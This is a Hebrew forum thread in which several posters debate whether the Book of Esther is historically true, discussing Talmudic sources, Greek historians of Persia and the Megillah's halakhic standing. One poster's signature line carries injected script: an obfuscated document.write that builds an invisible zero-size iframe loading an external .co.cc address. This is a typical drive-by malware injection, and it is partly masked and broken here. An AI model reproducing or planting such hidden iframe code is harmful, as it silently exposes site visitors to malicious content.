המגילה אמיתה של תורה או בדיה.

ושם האחר

יפה כתבת! איקון ירוק לך. שהרי קנאת האמת שכיחה, ובמיוחד בין חברינו, ואני עצמי יודע כמה קשה לי לשמור על לשון זהירה.

***
ירוחם

יפה שאלת, ואני חוזר כי זה היה בעמוד הקודם. בגמרא הביאו שאסתר כתבה לחכמים שסיפורה מפורסם ואף כתוב על דברי הימים של מלכי פרס. והנה, לא מצאנו שהוא כתוב.

השאלה שיש לשאול, והעיר עליה מואדיב (ושוב מ80): האם יש בידינו את הספריה של דברי ימי הפרסים, כולה או מקצתה.

ובזה דומה שאין בידנו כמעט כלום. אני מסתמך על מה שכתב מואדיב כי רוב הידיעות שלנו על מלכות פרס ומדי הן מכתיבתם של היסטוריונים יוונים, הרחוקים מרחק של זמן, מקום, תרבות וערכים. והם בחזקת אויבים. עד כמה זה משפיע על כתיבתם איני יודע כי איני מכירם.

***
מ80

כמדומה שיש לחלק בין רמות שונות בחשיבות המיוחסת למגילה. וכולן עשויות להימצא בדיון על מעמדה של המגילה במסכת מגילה.

א. האם דברי המגילה מחייבים להלכה. ומדוע? האם בגלל סמכותם של מרדכי ואסתר או בגלל שחכמים קיבלו את דבריהם. ומהיכן יודעים זאת (לייבוביץ היה אומר: בגלל שחכמים אישרו את הדברים. ולכאורה הם דברי הגמרא שאף אתה הבאת).

ב. האם ניתן לדרוש הלכות מן המגילה כפי שדורשים פסוקי תורה.

דוגמא לדרשות כאלו יש במסכת מגילה עצמה ("זמנים הרבה קבעו להם חכמים" וזאת על סמך דרשות הפסוקים המספרים על התקבלות המגילה לקריאה לדורות ושאר מנהגי או הלכות הפורים).

וגם שם הגמרא שואלת מנין שניתן לדרוש.

ג. האם כתיבת המגילה אינה איסור מחמת האיסור לכתוב תורה שבעל פה. (אך משתמע מן השאלה שהמגילה היא תורה שבעל פה? כאן נראה לי שאני מחמיץ משהו).

על זה השיבו שהיה רמז, והכל כפי שכתבת. אבל הרמז אינו מצביע על המגילה. לכל היותר אפשר לומר שנמצא רמז לכך שכתבי הנביאים והסופרים יורחבו, ולכן אפשר שהרמז מצביע על המגילה.

אלו שלוש רמות שונות של ייחוס חשיבות, מעמד הלכתי ואמיתיות היסטורית למגילה. ומסתבר שיש עוד רמות של דיון.

__תוקנה טעות הקלדה שאותרה בזמן דחזי לתיקוני_______________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

אני מוסיף מה ששכחתי.

נכון שיש המפרשים שהמן תלה ע"ז על צווארו או דבר בדומה לזה. אבל האם זו מסורת היסטורית? לי מסתבר שזה היה ניחוש אינטליגנטי שבא להסביר מדוע באמת מרדכי לא יכרע ולא ישתחוה, שהרי המלך צווה לעשות כן, ואין איסור על כך בתורה כפי שמוכיחים מעשי אבותינו, כגון יעקב ונתן הנביא.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");